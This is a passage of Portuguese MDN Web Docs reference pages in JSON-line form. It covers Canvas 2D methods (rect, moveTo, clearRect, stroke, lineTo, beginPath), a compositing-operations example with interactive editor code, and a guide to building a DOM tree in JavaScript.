canvas.width, canvas.height);\n  eval(textarea.value);\n}\n\nreset.addEventListener(\"click\", function () {\n  textarea.value = code;\n  drawCanvas();\n});\n\nedit.addEventListener(\"click\", function () {\n  textarea.focus();\n});\n\ntextarea.addEventListener(\"input\", drawCanvas);\nwindow.addEventListener(\"load\", drawCanvas);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-context-2d-rect-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* A interface que a define, `CanvasRenderingContext2D`\n* `CanvasRenderingContext2D.fillRect`\n* `CanvasRenderingContext2D.strokeRect()`\n* `CanvasRenderingContext2D.fill()`\n* `CanvasRenderingContext2D.stroke()`"}
{"title":"CanvasRenderingContext2D.moveTo() - APIs da Web","text":"CanvasRenderingContext2D.moveTo()\n=================================\n\nO método **`CanvasRenderingContext2D.moveTo()`** da API Canvas 2D move o ponto inicial de um novo sub-caminho (sub-path) para as coordenadas `(x, y)`.\n\nSintaxe\n-------\n```\n\nvoid ctx.moveTo(x, y);\n```\n\n### Parâmetros\n\n`x`\n\nO valor da coordenada x.\n\n`y`\n\nO valor da coordenada y.\n\nExemplos\n--------\n\n### Usando o método `moveTo`\n\nIsto é só um simples trecho de código que usa o método `moveTo` para mover a caneta (*pen*) para um deteminado ponto onde vai iniciar o desenho.\n\n#### HTML\n\n\n```html\n<canvas id=\"canvas\"></canvas>\n```\n\n\n#### JavaScript\n\n\n```js\nvar canvas = document.getElementById(\"canvas\");\nvar ctx = canvas.getContext(\"2d\");\n\nctx.beginPath();\nctx.moveTo(50, 50);\nctx.lineTo(200, 50);\nctx.stroke();\n```\n\n\nEdite o código abaixo e veja as alterações instantâneas no canvas:\n```\n\n<canvas id=\"canvas\" width=\"400\" height=\"200\" class=\"playable-canvas\"></canvas>\n<div class=\"playable-buttons\">\n  <input id=\"edit\" type=\"button\" value=\"Edit\" />\n  <input id=\"reset\" type=\"button\" value=\"Reset\" />\n</div>\n<textarea id=\"code\" class=\"playable-code\">\nctx.beginPath();\nctx.moveTo(50,50);\nctx.lineTo(200, 50);\nctx.stroke()</textarea\n>\n```\n\n\n```\nvar canvas = document.getElementById(\"canvas\");\nvar ctx = canvas.getContext(\"2d\");\nvar textarea = document.getElementById(\"code\");\nvar reset = document.getElementById(\"reset\");\nvar edit = document.getElementById(\"edit\");\nvar code = textarea.value;\n\nfunction drawCanvas() {\n  ctx.clearRect(0, 0, canvas.width, canvas.height);\n  eval(textarea.value);\n}\n\nreset.addEventListener(\"click\", function () {\n  textarea.value = code;\n  drawCanvas();\n});\n\nedit.addEventListener(\"click\", function () {\n  textarea.focus();\n});\n\ntextarea.addEventListener(\"input\", drawCanvas);\nwindow.addEventListener(\"load\", drawCanvas);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-context-2d-moveto-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* A definição da interface `CanvasRenderingContext2D`\n* `CanvasRenderingContext2D.lineTo()`\n* `CanvasRenderingContext2D.stroke()`"}
{"title":"Exemplo de Composição - APIs da Web","text":"Exemplo de Composição\n=====================\n\nEsse exemplo demonstra várias operações de composição. A saída se parece assim:\n\nExemplo de composição\n---------------------\n\nEste código configura os valores globais usados pelo restante do programa.\n\n\n```js\nvar canvas1 = document.createElement(\"canvas\");\nvar canvas2 = document.createElement(\"canvas\");\nvar gco = [\n  \"Source-over\",\n  \"Source-in\",\n  \"Source-out\",\n  \"Source-atop\",\n  \"Destination-over\",\n  \"Destination-in\",\n  \"Destination-out\",\n  \"Destination-atop\",\n  \"Lighter\",\n  \"Copy\",\n  \"XOR\",\n  \"Multiply\",\n  \"Screen\",\n  \"Overlay\",\n  \"Darken\",\n  \"Lighten\",\n  \"Color-dodge\",\n  \"Color-burn\",\n  \"Hard-light\",\n  \"Soft-light\",\n  \"Difference\",\n  \"Exclusion\",\n  \"HUE\",\n  \"Saturation\",\n  \"Color\",\n  \"Luminosity\",\n].reverse();\nvar gcoText = [\n  \"Essa é a configuração padrão e desenha novas formas sobre o conteúdo da tela (canvas) existente.\",\n  \"A nova forma é desenhada apenas onde a nova forma e a tela (canvas) de destino se sobrepõem. Todo o resto é transparente. \",\n  \"A nova forma é desenhada onde ela não sobrepõe o conteúdo da tela (canvas) existente.\",\n  \"A nova forma é somente desenahda onde ela sobrepõe o conteúdo da tela (canvas) existente.\",\n  \"Novas formas são desenhadas por trás do conteúdo da tela (canvas) existente.\",\n  \"O conteúdo da tela (canvas) existente é mantido onde ambos, a nova forma e o conteúdo da tela (canvas) existente, se sobrepõe. Todo o resto é transparente.\",\n  \"O conteúdo existente é mantido onde ele não sobrepõe a nova forma.\",\n  \"A tela (canvas) existente só é mantida onde ela sobrepõe a nova forma. A nova forma é desenahda por trás do conteúdo canvas.\",\n  \"Onde ambas formas se sebrepõem a cor é determinada adicionando seus respectivos valores de cores.\",\n  \"Somente a nova forma é mostrada.\",\n  \"Formas são feitas transparentes onde ambos se sobrepõem e todo o resto é desenhado normalmente.\",\n  \"Os pixels da camada superior são multiplicados pelo pixel correspondente da camada inferior. Uma imagem mais escura é o resultado. \",\n  \"Os pixels são invertidos, multiplicados e invertidos novamente. Uma imagem mais clara é o resultado (oposto de multiplicar)\",\n  \"Uma combinação de multiplicação e tela. As partes escuras na camada base tornam-se mais escuras e as partes claras tornam-se mais claras.\",\n  \"Mantêm os pixels mais escuro de ambas camadas.\",\n  \"Mantêm os pixels mais claro de ambas camadas.\",\n  \"Divide a camada inferior pela camada superior invertida.\",\n  \"Divide a camada inferior invertida pela camada superior e, em seguida, inverte o resultado.\",\n  \"Uma combinação de multiplicação e tela como sobreposição, mas com a camada superior e inferior trocada.\",\n  \"Uma versão mais suave da luz. Preto ou branco puro não resulta em preto ou branco puro.\",\n  \"Subtrai a camada inferior da camada superior ou vice-versa para obter sempre um valor positivo.\",\n  \"Como diferença, mas com menor contraste.\",\n  \"Preserva o luma e o croma da camada inferior, enquanto adota a tonalidade da camada superior.\",\n  \"Preserva o luma e a tonalidade da camada inferior, enquanto adota o croma da camada superior.\",\n  \"Preserva a luma da camada inferior, enquanto adota a tonalidade e o croma da camada superior.\",\n  \"Preserva a tonalidade e o croma da camada inferior, enquanto adota a luma da camada superior.\",\n].reverse();\nvar width = 320;\nvar height = 340;\n```\n\n### Programa principal\n\nQuando a página é carregada, esse código é executado para configurar e executar o exemplo:\n\n\n```js\nwindow.onload = function () {\n  // lum em sRGB\n  var lum = {\n    r: 0.33,\n    g: 0.33,\n    b: 0.33,\n  };\n  // redimensiona canvas\n  canvas1.width = width;\n  canvas1.height = height;\n  canvas2.width = width;\n  canvas2.height = height;\n  lightMix();\n  colorSphere();\n  runComposite();\n  return;\n};\n```\n\n\nE esse código, `runComposite ()`, manipula a maior parte do trabalho, contando com várias funções utilitárias para fazer as partes difíceis.\n\n\n```js\nfunction createCanvas() {\n  var canvas = document.createElement(\"canvas\");\n  canvas.style.background = \"url(\" + op_8x8.data + \")\";\n  canvas.style.border = \"1px solid #000\";\n  canvas.style.margin = \"5px\";\n  canvas.width = width / 2;\n  canvas.height = height / 2;\n  return canvas;\n}\n\nfunction runComposite() {\n  var dl = document.createElement(\"dl\");\n  document.body.appendChild(dl);\n  while (gco.length) {\n    var pop = gco.pop();\n    var dt = document.createElement(\"dt\");\n    dt.textContent = pop;\n    dl.appendChild(dt);\n    var dd = document.createElement(\"dd\");\n    var p = document.createElement(\"p\");\n    p.textContent = gcoText.pop();\n    dd.appendChild(p);\n\n    var canvasToDrawOn = createCanvas();\n    var canvasToDrawFrom = createCanvas();\n    var canvasToDrawResult = createCanvas();\n\n    var ctx = canvasToDrawResult.getContext(\"2d\");\n    ctx.clearRect(0, 0, width, height);\n    ctx.save();\n    ctx.drawImage(canvas1, 0, 0, width / 2, height / 2);\n    ctx.globalCompositeOperation = pop;\n    ctx.drawImage(canvas2, 0, 0, width / 2, height / 2);\n    ctx.globalCompositeOperation = \"source-over\";\n    ctx.fillStyle = \"rgba(0,0,0,0.8)\";\n    ctx.fillRect(0, height / 2 - 20, width / 2, 20);\n    ctx.fillStyle = \"#FFF\";\n    ctx.font = \"14px arial\";\n    ctx.fillText(pop, 5, height / 2 - 5);\n    ctx.restore();\n\n    var ctx = canvasToDrawOn.getContext(\"2d\");\n    ctx.clearRect(0, 0, width, height);\n    ctx.save();\n    ctx.drawImage(canvas1, 0, 0, width / 2, height / 2);\n    ctx.fillStyle = \"rgba(0,0,0,0.8)\";\n    ctx.fillRect(0, height / 2 - 20, width / 2, 20);\n    ctx.fillStyle = \"#FFF\";\n    ctx.font = \"14px arial\";\n    ctx.fillText(\"Conteúdo existente\", 5, height / 2 - 5);\n    ctx.restore();\n\n    var ctx = canvasToDrawFrom.getContext(\"2d\");\n    ctx.clearRect(0, 0, width, height);\n    ctx.save();\n    ctx.drawImage(canvas2, 0, 0, width / 2, height / 2);\n    ctx.fillStyle = \"rgba(0,0,0,0.8)\";\n    ctx.fillRect(0, height / 2 - 20, width / 2, 20);\n    ctx.fillStyle = \"#FFF\";\n    ctx.font = \"14px arial\";\n    ctx.fillText(\"Novo conteúdo\", 5, height / 2 - 5);\n    ctx.restore();\n\n    dd.appendChild(canvasToDrawOn);\n    dd.appendChild(canvasToDrawFrom);\n    dd.appendChild(canvasToDrawResult);\n\n    dl.appendChild(dd);\n  }\n}\n```\n\n### Funções Utilitárias\n\nO programa depende de várias funções utilitárias.\n\n\n```js\nvar lightMix = function () {\n  var ctx = canvas2.getContext(\"2d\");\n  ctx.save();\n  ctx.globalCompositeOperation = \"lighter\";\n  ctx.beginPath();\n  ctx.fillStyle = \"rgba(255,0,0,1)\";\n  ctx.arc(100, 200, 100, Math.PI \\* 2, 0, false);\n  ctx.fill();\n  ctx.beginPath();\n  ctx.fillStyle = \"rgba(0,0,255,1)\";\n  ctx.arc(220, 200, 100, Math.PI \\* 2, 0, false);\n  ctx.fill();\n  ctx.beginPath();\n  ctx.fillStyle = \"rgba(0,255,0,1)\";\n  ctx.arc(160, 100, 100, Math.PI \\* 2, 0, false);\n  ctx.fill();\n  ctx.restore();\n  ctx.beginPath();\n  ctx.fillStyle = \"#f00\";\n  ctx.fillRect(0, 0, 30, 30);\n  ctx.fill();\n};\n```\n\n\n\n```js\nvar colorSphere = function (element) {\n  var ctx = canvas1.getContext(\"2d\");\n  var width = 360;\n  var halfWidth = width / 2;\n  var rotate = (1 / 360) \\* Math.PI \\* 2; // per degree\n  var offset = 0; // scrollbar offset\n  var oleft = -20;\n  var otop = -20;\n  for (var n = 0; n <= 359; n++) {\n    var gradient = ctx.createLinearGradient(\n      oleft + halfWidth,\n      otop,\n      oleft + halfWidth,\n      otop + halfWidth,\n    );\n    var color = Color.HSV\\_RGB({ H: (n + 300) % 360, S: 100, V: 100 });\n    gradient.addColorStop(0, \"rgba(0,0,0,0)\");\n    gradient.addColorStop(\n      0.7,\n      \"rgba(\" + color.R + \",\" + color.G + \",\" + color.B + \",1)\",\n    );\n    gradient.addColorStop(1, \"rgba(255,255,255,1)\");\n    ctx.beginPath();\n    ctx.moveTo(oleft + halfWidth, otop);\n    ctx.lineTo(oleft + halfWidth, otop + halfWidth);\n    ctx.lineTo(oleft + halfWidth + 6, otop);\n    ctx.fillStyle = gradient;\n    ctx.fill();\n    ctx.translate(oleft + halfWidth, otop + halfWidth);\n    ctx.rotate(rotate);\n    ctx.translate(-(oleft + halfWidth), -(otop + halfWidth));\n  }\n  ctx.beginPath();\n  ctx.fillStyle = \"#00f\";\n  ctx.fillRect(15, 15, 30, 30);\n  ctx.fill();\n  return ctx.canvas;\n};\n```\n\n\n\n```js\n// HSV (1978) = H: Hue (tom)\n// S: Saturation (Saturação)\n// V: Value (Valor)\nColor = {};\nColor.HSV\\_RGB = function (o) {\n  var H = o.H / 360,\n    S = o.S / 100,\n    V = o.V / 100,\n    R,\n    G,\n    B;\n  var A, B, C, D;\n  if (S == 0) {\n    R = G = B = Math.round(V \\* 255);\n  } else {\n    if (H >= 1) H = 0;\n    H = 6 \\* H;\n    D = H - Math.floor(H);\n    A = Math.round(255 \\* V \\* (1 - S));\n    B = Math.round(255 \\* V \\* (1 - S \\* D));\n    C = Math.round(255 \\* V \\* (1 - S \\* (1 - D)));\n    V = Math.round(255 \\* V);\n    switch (Math.floor(H)) {\n      case 0:\n        R = V;\n        G = C;\n        B = A;\n        break;\n      case 1:\n        R = B;\n        G = V;\n        B = A;\n        break;\n      case 2:\n        R = A;\n        G = V;\n        B = C;\n        break;\n      case 3:\n        R = A;\n        G = B;\n        B = V;\n        break;\n      case 4:\n        R = C;\n        G = A;\n        B = V;\n        break;\n      case 5:\n        R = V;\n        G = A;\n        B = B;\n        break;\n    }\n  }\n  return {\n    R: R,\n    G: G,\n    B: B,\n  };\n};\n\nvar createInterlace = function (size, color1, color2) {\n  var proto = document.createElement(\"canvas\").getContext(\"2d\");\n  proto.canvas.width = size \\* 2;\n  proto.canvas.height = size \\* 2;\n  proto.fillStyle = color1; // top-left\n  proto.fillRect(0, 0, size, size);\n  proto.fillStyle = color2; // top-right\n  proto.fillRect(size, 0, size, size);\n  proto.fillStyle = color2; // bottom-left\n  proto.fillRect(0, size, size, size);\n  proto.fillStyle = color1; // bottom-right\n  proto.fillRect(size, size, size, size);\n  var pattern = proto.createPattern(proto.canvas, \"repeat\");\n  pattern.data = proto.canvas.toDataURL();\n  return pattern;\n};\n\nvar op_8x8 = createInterlace(8, \"#FFF\", \"#eee\");\n```"}
{"title":"CanvasRenderingContext2D.clearRect() - APIs da Web","text":"CanvasRenderingContext2D.clearRect()\n====================================\n\nO método **`CanvasRenderingContext2D.clearRect()`** da API Canvas 2D limpa todos os pixels de um retângulo definido na posição *(x, y)* e tamanho (*width* (largura), *height* (altura)) para uma cor preta transparente, apagando algum conteúdo anterior.\n\nSintaxe\n-------\n```\n\nvoid ctx.clearRect(x, y, width, height);\n```\n\n### Parâmetros\n\n`x`\n\nO valor da coordenada x para o ponto inicial do retângulo.\n\n`y`\n\nO valor da coordenada y para o ponto inicial do retângulo.\n\n`width`\n\nA largura do retângulo.\n\n`height`\n\nA altura do retângulo.\n\nNotas de uso\n------------\n\nUm problema comum com `clearRect` que pode acontecer, é que pode não funcionar corretamente, caso não seja usada alguma propriedade de *path*. Não esqueça de usar `beginPath()` antes de começar um novo frame depois de chamar `clearRect`.\n\nExemplos\n--------\n\n### Usando o método `clearRect`\n\nIsto é só um simples trecho de código que usa o método `clearRect`.\n\n#### HTML\n\n\n```html\n<canvas id=\"canvas\"></canvas>\n```\n\n\n#### JavaScript\n\n\n```js\nvar canvas = document.getElementById(\"canvas\");\nvar ctx = canvas.getContext(\"2d\");\n\nctx.beginPath();\nctx.moveTo(20, 20);\nctx.lineTo(200, 20);\nctx.lineTo(120, 120);\nctx.closePath(); // draws last line of the triangle\nctx.stroke();\n\nctx.clearRect(10, 10, 100, 100);\n\n// clear the whole canvas\n// ctx.clearRect(0, 0, canvas.width, canvas.height);\n```\n\n\nEdite o código abaixo e veja as alterações instantâneas no canvas:\n```\n\n<canvas id=\"canvas\" width=\"400\" height=\"200\" class=\"playable-canvas\"></canvas>\n<div class=\"playable-buttons\">\n  <input id=\"edit\" type=\"button\" value=\"Edit\" />\n  <input id=\"reset\" type=\"button\" value=\"Reset\" />\n</div>\n<textarea id=\"code\" class=\"playable-code\" style=\"height:140px;\">\nctx.beginPath();\nctx.moveTo(20,20);\nctx.lineTo(200,20);\nctx.lineTo(120,120);\nctx.closePath(); // draws last line of the triangle\nctx.stroke();\n\nctx.clearRect(10, 10, 100, 100);</textarea\n>\n```\n\n\n```\nvar canvas = document.getElementById(\"canvas\");\nvar ctx = canvas.getContext(\"2d\");\nvar textarea = document.getElementById(\"code\");\nvar reset = document.getElementById(\"reset\");\nvar edit = document.getElementById(\"edit\");\nvar code = textarea.value;\n\nfunction drawCanvas() {\n  ctx.clearRect(0, 0, canvas.width, canvas.height);\n  eval(textarea.value);\n}\n\nreset.addEventListener(\"click\", function () {\n  textarea.value = code;\n  drawCanvas();\n});\n\nedit.addEventListener(\"click\", function () {\n  textarea.focus();\n});\n\ntextarea.addEventListener(\"input\", drawCanvas);\nwindow.addEventListener(\"load\", drawCanvas);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-context-2d-clearrect-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* A definição da interface `CanvasRenderingContext2D`\n* `CanvasRenderingContext2D.fillRect()`\n* `CanvasRenderingContext2D.strokeRect()`"}
{"title":"CanvasRenderingContext2D.stroke() - APIs da Web","text":"CanvasRenderingContext2D.stroke()\n=================================\n\nO método **`CanvasRenderingContext2D.stroke()`** da API Canvas 2D contorna um dado *path* ou o *path* atual com o estilo atual de traçado usando uma regra de controle diferente de zero.\n\nSintaxe\n-------\n```\n\nvoid ctx.stroke();\nvoid ctx.stroke(path);\n```\n\n### Parâmetros\n\n`path`\n\nUm *path* de `Path2D` para contorno.\n\nExemplos\n--------\n\n### Usando o método `stroke`\n\nIsto é só um simples trecho de código que usa o método `stroke` para contornar um *path*.\n\n#### HTML\n\n\n```html\n<canvas id=\"canvas\"></canvas>\n```\n\n\n#### JavaScript\n\n\n```js\nvar canvas = document.getElementById(\"canvas\");\nvar ctx = canvas.getContext(\"2d\");\nctx.rect(10, 10, 100, 100);\nctx.stroke();\n```\n\n\nEdite o código abaixo e veja as alterações instantâneas no canvas:\n```\n\n<canvas id=\"canvas\" width=\"400\" height=\"200\" class=\"playable-canvas\"></canvas>\n<div class=\"playable-buttons\">\n  <input id=\"edit\" type=\"button\" value=\"Edit\" />\n  <input id=\"reset\" type=\"button\" value=\"Reset\" />\n</div>\n<textarea id=\"code\" class=\"playable-code\">\nctx.rect(10, 10, 100, 100);\nctx.stroke();</textarea\n>\n```\n\n\n```\nvar canvas = document.getElementById(\"canvas\");\nvar ctx = canvas.getContext(\"2d\");\nvar textarea = document.getElementById(\"code\");\nvar reset = document.getElementById(\"reset\");\nvar edit = document.getElementById(\"edit\");\nvar code = textarea.value;\n\nfunction drawCanvas() {\n  ctx.clearRect(0, 0, canvas.width, canvas.height);\n  eval(textarea.value);\n}\n\nreset.addEventListener(\"click\", function () {\n  textarea.value = code;\n  drawCanvas();\n});\n\nedit.addEventListener(\"click\", function () {\n  textarea.focus();\n});\n\ntextarea.addEventListener(\"input\", drawCanvas);\nwindow.addEventListener(\"load\", drawCanvas);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-context-2d-stroke-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* A definição da interface `CanvasRenderingContext2D`."}
{"title":"CanvasRenderingContext2D.lineTo() - APIs da Web","text":"CanvasRenderingContext2D.lineTo()\n=================================\n\nO método **`CanvasRenderingContext2D.lineTo()`** da API Canvas 2D conecta o último ponto do sub-caminho (*sub-path*) para as coordenadas `x, y`, através de uma linha (mas na realidade não a desenha).\n\nSintaxe\n-------\n```\n\nvoid ctx.lineTo(x, y);\n```\n\n### Parâmetros\n\n`x`\n\nO valor da coordenada x que indica o fim da linha.\n\n`y`\n\nO valor da coordenada y que indica o fim da linha.\n\nExemplos\n--------\n\n### Usando o método `lineTo`\n\nsto é só um simples trecho de código que usa o método `lineTo`. Use o `beginPath()` para indicar o *path* onde será desenhada a linha, mova a caneta (*pen*) com `moveTo()` e use o método `stroke()` para desenhar a linha.\n\n#### HTML\n\n\n```html\n<canvas id=\"canvas\"></canvas>\n```\n\n\n#### JavaScript\n\n\n```js\nvar canvas = document.getElementById(\"canvas\");\nvar ctx = canvas.getContext(\"2d\");\n\nctx.beginPath();\nctx.moveTo(50, 50);\nctx.lineTo(100, 100);\nctx.stroke();\n```\n\n\nEdite o código abaixo e veja as alterações instantâneas no canvas:\n```\n\n<canvas id=\"canvas\" width=\"400\" height=\"200\" class=\"playable-canvas\"></canvas>\n<div class=\"playable-buttons\">\n  <input id=\"edit\" type=\"button\" value=\"Edit\" />\n  <input id=\"reset\" type=\"button\" value=\"Reset\" />\n</div>\n<textarea id=\"code\" class=\"playable-code\">\nctx.beginPath();\nctx.moveTo(50,50);\nctx.lineTo(100, 100);\nctx.stroke();</textarea\n>\n```\n\n\n```\nvar canvas = document.getElementById(\"canvas\");\nvar ctx = canvas.getContext(\"2d\");\nvar textarea = document.getElementById(\"code\");\nvar reset = document.getElementById(\"reset\");\nvar edit = document.getElementById(\"edit\");\nvar code = textarea.value;\n\nfunction drawCanvas() {\n  ctx.clearRect(0, 0, canvas.width, canvas.height);\n  eval(textarea.value);\n}\n\nreset.addEventListener(\"click\", function () {\n  textarea.value = code;\n  drawCanvas();\n});\n\nedit.addEventListener(\"click\", function () {\n  textarea.focus();\n});\n\ntextarea.addEventListener(\"input\", drawCanvas);\nwindow.addEventListener(\"load\", drawCanvas);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-context-2d-lineto-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* A definição da interface `CanvasRenderingContext2D`\n* `CanvasRenderingContext2D.moveTo()`\n* `CanvasRenderingContext2D.stroke()`"}
{"title":"CanvasRenderingContext2D.beginPath() - APIs da Web","text":"CanvasRenderingContext2D.beginPath()\n====================================\n\nO método **`CanvasRenderingContext2D.beginPath()`** da API Canvas 2D inicia um novo caminho (*path*), esvaziando a lista de sub-caminhos (*sub-paths*). Use esse método quando você quiser criar um novo *path*.\n\nSintaxe\n-------\n```\n\nvoid ctx.beginPath();\n```\n\nExemplos\n--------\n\n### Usando o método `beginPath`\n\nIsto é só um simples trecho de código que usa o método `fillRect`.\n\n#### HTML\n\n\n```html\n<canvas id=\"canvas\"></canvas>\n```\n\n\n#### JavaScript\n\n\n```js\nvar canvas = document.getElementById(\"canvas\");\nvar ctx = canvas.getContext(\"2d\");\n\n// Primeiro path\nctx.beginPath();\nctx.strokeStyle = \"blue\";\nctx.moveTo(20, 20);\nctx.lineTo(200, 20);\nctx.stroke();\n\n// Segundo path\nctx.beginPath();\nctx.strokeStyle = \"green\";\nctx.moveTo(20, 20);\nctx.lineTo(120, 120);\nctx.stroke();\n```\n\n\nEdite o código abaixo e veja as alterações instantâneas no canvas:\n```\n\n<canvas id=\"canvas\" width=\"400\" height=\"200\" class=\"playable-canvas\"></canvas>\n<div class=\"playable-buttons\">\n  <input id=\"edit\" type=\"button\" value=\"Edit\" />\n  <input id=\"reset\" type=\"button\" value=\"Reset\" />\n</div>\n<textarea id=\"code\" class=\"playable-code\" style=\"height:200px\">\n// First path\nctx.beginPath();\nctx.strokeStyle = 'blue';\nctx.moveTo(20,20);\nctx.lineTo(200,20);\nctx.stroke();\n\n// Second path\nctx.beginPath();\nctx.strokeStyle = 'green';\nctx.moveTo(20,20);\nctx.lineTo(120, 120);\nctx.stroke();</textarea\n>\n```\n\n\n```\nvar canvas = document.getElementById(\"canvas\");\nvar ctx = canvas.getContext(\"2d\");\nvar textarea = document.getElementById(\"code\");\nvar reset = document.getElementById(\"reset\");\nvar edit = document.getElementById(\"edit\");\nvar code = textarea.value;\n\nfunction drawCanvas() {\n  ctx.clearRect(0, 0, canvas.width, canvas.height);\n  eval(textarea.value);\n}\n\nreset.addEventListener(\"click\", function () {\n  textarea.value = code;\n  drawCanvas();\n});\n\nedit.addEventListener(\"click\", function () {\n  textarea.focus();\n});\n\ntextarea.addEventListener(\"input\", drawCanvas);\nwindow.addEventListener(\"load\", drawCanvas);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-context-2d-beginpath-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* A definição da interface `CanvasRenderingContext2D`\n* `CanvasRenderingContext2D.closePath()`"}
{"title":"Como criar uma árvore DOM - APIs da Web","text":"Como criar uma árvore DOM\n=========================\n\nEsta página descreve como usar a API DOM Core em JavaScript para criar e modificar objetos DOM. Aplica-se a todos os aplicativos baseados em Gecko (como Firefox), tanto em código privilegiado (extensões) quanto não privilegiado (páginas da web).\n\n### Criando dinamicamente uma árvore DOM\n\nConsidere o seguinte documento XML:\n\n\n```xml\n<?xml version=\"1.0\"?>\n<people>\n  <person first-name=\"eric\" middle-initial=\"H\" last-name=\"jung\">\n    <address street=\"321 south st\" city=\"denver\" state=\"co\" country=\"usa\"/>\n    <address street=\"123 main st\" city=\"arlington\" state=\"ma\" country=\"usa\"/>\n  </person>\n\n  <person first-name=\"jed\" last-name=\"brown\">\n    <address street=\"321 north st\" city=\"atlanta\" state=\"ga\" country=\"usa\"/>\n    <address street=\"123 west st\" city=\"seattle\" state=\"wa\" country=\"usa\"/>\n    <address street=\"321 south avenue\" city=\"denver\" state=\"co\" country=\"usa\"/>\n  </person>\n</people>\n```\n\n\nA API W3C DOM, suportada pela Mozilla, pode ser usada para criar uma representação na memória deste documento da seguinte forma:\n\n\n```js\nconst doc = document.implementation.createDocument(\"\", \"\", null);\nconst peopleElem = doc.createElement(\"people\");\n\nconst personElem1 = doc.createElement(\"person\");\npersonElem1.setAttribute(\"first-name\", \"eric\");\npersonElem1.setAttribute(\"middle-initial\", \"h\");\npersonElem1.setAttribute(\"last-name\", \"jung\");\n\nconst addressElem1 = doc.createElement(\"address\");\naddressElem1.setAttribute(\"street\", \"321 south st\");\naddressElem1.setAttribute(\"city\", \"denver\");\naddressElem1.setAttribute(\"state\", \"co\");\naddressElem1.setAttribute(\"country\", \"usa\");\npersonElem1.appendChild(addressElem1);\n\nconst addressElem2 = doc.createElement(\"address\");\naddressElem2.setAttribute(\"street\", \"123 main st\");\naddressElem2.setAttribute(\"city\", \"arlington\");\naddressElem2.setAttribute(\"state\", \"ma\");\naddressElem2.setAttribute(\"country\", \"usa\");\npersonElem1.appendChild(addressElem2);\n\nconst personElem2 = doc.createElement(\"person\");\npersonElem2.setAttribute(\"first-name\", \"jed\");\npersonElem2.setAttribute(\"last-name\", \"brown\");\n\nconst addressElem3 = doc.createElement(\"address\");\naddressElem3.setAttribute(\"street\", \"321 north st\");\naddressElem3.setAttribute(\"city\", \"atlanta\");\naddressElem3.setAttribute(\"state\", \"ga\");\naddressElem3.setAttribute(\"country\", \"usa\");\npersonElem2.appendChild(addressElem3);\n\nconst addressElem4 = doc.createElement(\"address\");\naddressElem4.setAttribute(\"street\", \"123 west st\");\naddressElem4.setAttribute(\"city\", \"seattle\");\naddressElem4.setAttribute(\"state\", \"wa\");\naddressElem4.setAttribute(\"country\", \"usa\");\npersonElem2.appendChild(addressElem4);\n\nconst addressElem5 = doc.createElement(\"address\");\naddressElem5.setAttribute(\"street\", \"321 south avenue\");\naddressElem5.setAttribute(\"city\", \"denver\");\naddressElem5.setAttribute(\"state\", \"co\");\naddressElem5.setAttribute(\"country\", \"usa\");\npersonElem2.appendChild(addressElem5);\n\npeopleElem.appendChild(personElem1);\npeopleElem.appendChild(personElem2);\ndoc.appendChild(peopleElem);\n```\n\n\nVeja também o capítulo DOM do Tutorial XUL.\n\nVocê pode automatizar a criação de uma árvore DOM usando um algoritmo reverso JXON em associação com a seguinte representação JSON:\n\n\n```json\n{\n  \"people\": {\n    \"person\": [\n      {\n        \"address\": [\n          {\n            \"@street\": \"321 south st\",\n            \"@city\": \"denver\",\n            \"@state\": \"co\",\n            \"@country\": \"usa\"\n          },\n          {\n            \"@street\": \"123 main st\",\n            \"@city\": \"arlington\",\n            \"@state\": \"ma\",\n            \"@country\": \"usa\"\n          }\n        ],\n        \"@first-name\": \"eric\",\n        \"@middle-initial\": \"H\",\n        \"@last-name\": \"jung\"\n      },\n      {\n        \"address\": [\n          {\n            \"@street\": \"321 north st\",\n            \"@city\": \"atlanta\",\n            \"@state\": \"ga\",\n            \"@country\": \"usa\"\n          },\n          {\n            \"@street\": \"123 west st\",\n            \"@city\": \"seattle\",\n            \"@state\": \"wa\",\n            \"@country\": \"usa\"\n          },\n          {\n            \"@street\": \"321 south avenue\",\n            \"@city\": \"denver\",\n            \"@state\": \"co\",\n            \"@country\": \"usa\"\n          }\n        ],\n        \"@first-name\": \"jed\",\n        \"@last-name\": \"brown\"\n      }\n    ]\n  }\n}\n```\n\n### E daí?\n\nAs árvores DOM podem ser consultadas usando expressões XPath (en-US), convertidas em strings ou gravadas em arquivos locais ou remotos usando [XMLSerializer](/pt-BR/docs/Web/ Guide/Parsing\\_and\\_serializing\\_XML) (sem ter que primeiro converter para uma string), POSTed to a web server (via `XMLHttpRequest`), transformado usando [XSLT](/ pt-BR/docs/Web/XSLT), XLink (en-US), convertido em um objeto JavaScript por meio de um algoritmo JXON, etc .\n\nVocê pode usar árvores DOM para modelar dados que não são adequados para RDF (ou talvez você simplesmente não goste de RDF). Outra aplicação é que, como XUL é XML, a interface do usuário do seu aplicativo pode ser dinamicamente manipulada, baixada, carregada, salva, carregada, convertida ou transformada com bastante facilidade.\n\nVeja também\n-----------\n\n* XML (en-US)\n* JXON\n* XPath (en-US)\n* Parsing and serializing XML (en-US)\n* XMLHttpRequest"}
